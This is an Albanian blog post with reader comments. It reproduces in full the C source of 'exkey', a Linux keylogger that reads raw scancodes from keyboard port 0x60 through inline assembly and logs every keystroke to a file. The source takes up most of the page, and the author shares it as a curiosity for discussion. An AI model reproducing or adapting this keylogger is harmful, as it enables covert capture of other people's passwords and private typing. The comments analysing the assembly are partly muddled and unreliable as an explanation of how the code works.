Aty ku leximi eshte kenaqesi :)
Linux Ubuntu komanda fsck
Pershendetje, kam kohe qe nuk kam shkruar ne blog pasi kam qene shum i zene. Sot do te trajtoj nje teme e cila mendoj se mund te jete e nevojshme per cdo perdorues jo ekspert te linux. Atehere para ca ditesh me doli nje problem me ubuntu me te cilin punoj ne pune pasi pati nje nderprerje dritash dhe une isha duke kryer nje proces kur e rinis sistemin perseri shoh qe sistemi nuk me hapej me. Sistem...
Paradoks ne Universitetet Shqiptare
Mund te thoni se me pelqen kritika, porse nuk eshte e vertet. Me pelqen te them fjale te mira , te lavderoj por jo pa vend. E pra kete teme po ja dedikojme pedagogeve tane te dashur (nese jane te tille). E nga tja nisim :/ , eshte fjala per fakultetet e informatikes , per te tjerat qe nuk kam njohuri nuk mund te flas. Shumica e atyre qe pergatisin sot "eliten" shqiptare te informatikes, inxhin...
Komunikimi ne Internet | Format Virtuale te Komunikimit
Ne temen Historia e Internetit trajtuam qellimet origjinale per te cilat u ideua "Inter-Network-u" dhe morem nje ide per ç'fare u ideua interneti dhe transformimi i perdorimit te tij ne kohet e mevonshme, ne kete teme do te shohim pikerisht qellimin 'sot' per te cilin perdoret interneti dhe metodat e ndryshme te ketij komunikimi. Jemi te qarte qe interneti perdoret per te shkembyer informacion, ...
Te zgjerojm limitet e iptables
Jemi ne nje nga temat me * ketu ne albanianwizard.org, them me * sepse ky eshte nje koncept origjinal i patrajtuar me pare, koncepti eshte te kthejm Iptables firewall ne IPS (Intrusion Prevention System), dhe shkrimi eshte paksa i nje niveli te avancuar (kjo edhe pse jane koncepte te reja dhe jo diçka e perditshme) keshtu qe nese nuk  keni informacione se ç'fare jane: buffer overflow sql inje...

Nje kod i lezetcem keyloggeri ne C

Posted By: eldo on 31-05-2009 in Assembly, IT, mutherfhacker - Comments: 4 Comments »

/* *
* exkey - excluded keylogger *
* *
* This program is free software; you can redistribute it and/or *
* modify it under the terms of the GNU General Public License *
* as published by the Free Software Foundation. *
* *
* For educational purposes only. *
* *
* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - *
* Written by: FuSi *
* VERSION 0.0a <fusi@excluded.org> *
* <www.excluded.org> *
* / close your eyes & dream with me / *
* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - *
* *
* */
#include<sys/types.h>
#include<fcntl.h>
#include<stdio.h>
#include<time.h>
#define kp 0x60
int main(int argc,char **argv){
int fd;
int prm=0,dm=0;
struct timespec *ts;
if(argc < 2){
fprintf(stderr,"exkey - excluded keylogger\nwritten by FuSi (fusi@excluded.org)\nversion 0.0a\n\nJust type: ./exkey <logfile>\n");
exit(1);}
if((fd = open(argv[1],O_CREAT|O_WRONLY|O_TRUNC)) == -1){
perror("open()");
exit(1);}
asm("int $0x80;": :"a"(101),"b"(kp),"c"(1),"d"(1));
ts->tv_nsec = 20;
ts->tv_sec = 0;
while(1){
dm = prm;
asm("inb %%dx,%%al;":"=a"(prm):"a"(0),"d"(kp));
switch(prm){
case(2) : prm ='1' ;break;case(3) : prm ='2';break;
case(4) : prm ='3' ;break;case(5) : prm ='4';break;
case(6) : prm ='5' ;break;case(7) : prm ='6';break;
case(8) : prm ='7' ;break;case(9) : prm ='8';break;
case(10) : prm ='9' ;break;case(11) : prm ='0';break;
case(12) : prm ='ß' ;break;case(13) : prm ='´';break;
case(14) : prm ='\b';break;case(16) : prm ='q';break;
case(17) : prm ='w' ;break;case(18) : prm ='e';break;
case(19) : prm ='r' ;break;case(20) : prm ='t';break;
case(21) : prm ='z' ;break;case(22) : prm ='u';break;
case(23) : prm ='i' ;break;case(24) : prm ='o';break;
case(25) : prm ='p' ;break;case(26) : prm ='ü';break;
case(27) : prm ='+' ;break;case(28) : prm ='\n';break;
case(30) : prm ='a' ;break;case(31) : prm ='s';break;
case(32) : prm ='d' ;break;case(33) : prm ='f';break;
case(34) : prm ='g' ;break;case(35) : prm ='h';break;
case(36) : prm ='j' ;break;case(37) : prm ='k';break;
case(38) : prm ='l' ;break;case(39) : prm ='ö';break;
case(40) : prm =39 ;break;case(41) : prm =96 ;break;
case(43) : prm =92 ;break;case(44) : prm ='y';break;
case(45) : prm ='x' ;break;case(46) : prm ='c';break;
case(47) : prm ='v' ;break;case(48) : prm ='b';break;
case(49) : prm ='n' ;break;case(50) : prm ='m';break;
case(51) : prm =180 ;break;case(52) : prm =46 ;break;
case(53) : prm ='-' ;break;case(57) : prm =32 ;break;
default : prm =0 ;break;}
if(prm != dm)
write(fd,&prm,1);
asm("int $0x80"::"a"(162),"b"(ts),"c"(0));}
close(fd);}

Pjesen me te madhe te ketij kodi e kuptoj pervec kodit asm() pra pjeses ne assembler edhe se di pak nga ajo gjuhe ketu as qe po e marr vesh.Pra pak a shum therritet nje int nje funksion ose call, por cfar funksioni ka? Hajt pra ta diskutojme..

4 Responses

You can follow any responses to this entry through the RSS 2.0 feed.

You can leave a response, or trackback from your own site.

  1. arditi arditi says:

    Emmm, çar te them, shume i semur ky tipi xD..
    Une per momentin po studjoj Mips dhe kjo eshte x86 gjithsesi po marrim fragmentet me interesante (pjesa tjeter jane regjistra dhe variabila)
    me asm () thirret kod ne assembly
    int $0×80 – eshte nje thirrje e sistemit (syscall) qe perdoret per te mare nje sinjal interrupt nga kernelit e kjo eshte specifike vetem per linux.
    ”inb %%dx,%%al;”
    ketu me shume zgjuarsi ka perdorur funksionin inb siç mund te perdorte inw \ dhe ne fjale te tjera nese do ja kishte qejfi ta komentonte do te shkruante:
    /* *porta* = port->read_data() >> 1; */
    Ose
    inb(MSE_DATA_PORT); [rast tjeter]
    Dhe me ate qe shkaruajtur bindem akoma me shume qe ky punon vetem ne linux.

    Vazhdojm me diçka akoma me itneresante,
    Ne arkitekturen 80×86 operatoret kontrollojn te dhenat ndermjet 16 pozicioneve te KP-1 ose KP-3 keypad dhe kjo eshte pjesa ku funksioni KEYPAD ne saje te driverit C (perderis ka perdorur C si gjuhe), bene teresisht skanimin, debug, te inputit te pozicionit ne te cilin eshte shtypur tasti dhe si funksion suporton 24 poziocione te ndryshme e po ti numurosh ato me siper jane 25 sepse ka shtuar prm=’-';

    Vazhdojm,
    me
    -------------------
    ts->tv_nsec = 20;
    ts->tv_sec = 0;
    -------------------

    Ka percaktuar nje fragment kohor (nanosekonda) i cili sinkronizon me clock-un e makines dhe percakton minimumin e kohes nga e cila mund te rregjistrohet nje pozicion i tastit te tastieres nga nje pozicion tjeter, por ketu nuk jam dhe aq i sigurt.
    Pjesa tjeter e kodit ka percaktuar pozicionet e tastieres.
    Ps, hidhi nje sy ketyre te çmendurve te nasas, po e dite çar dreqin eshte me ço zile :P
    (hidhi nje sy projektit, dhe mundohu te gjesh se me ç’fare dreq algoritmi e kane encryptuar kodin, headeri eshte i qarte mjafton ta lexosh, po pjesa tjeter ama :S)
    kliko

  2. arditi arditi says:

    lol, sorry, paskan ven informacion te bollshem :L
    sklush

  3. eldo says:

    lale e pashe nuk merret vesh po mir ato qe nuk merren po ti ku e gjete kete :D .

  4. arditi arditi says:

    :D
    Isha duke kerkuar kod assembly per x86 po doli per arkitekture VAX dhe me terhoqi, pastaj pashe dhe algoritem Algoritmin DCT qe e kane perdorur dhe ngeca aty..
    Me duket se eshte vulnerabel si web :P ;)

    Ps, thnx per programin qe na solle, goxha i bukur per tu studiuar e sidomos se ky tipi ka perdorur funksionin kp me aq pak ka thene shume.
    xD.
    Cilesor -_-’

Leave a Reply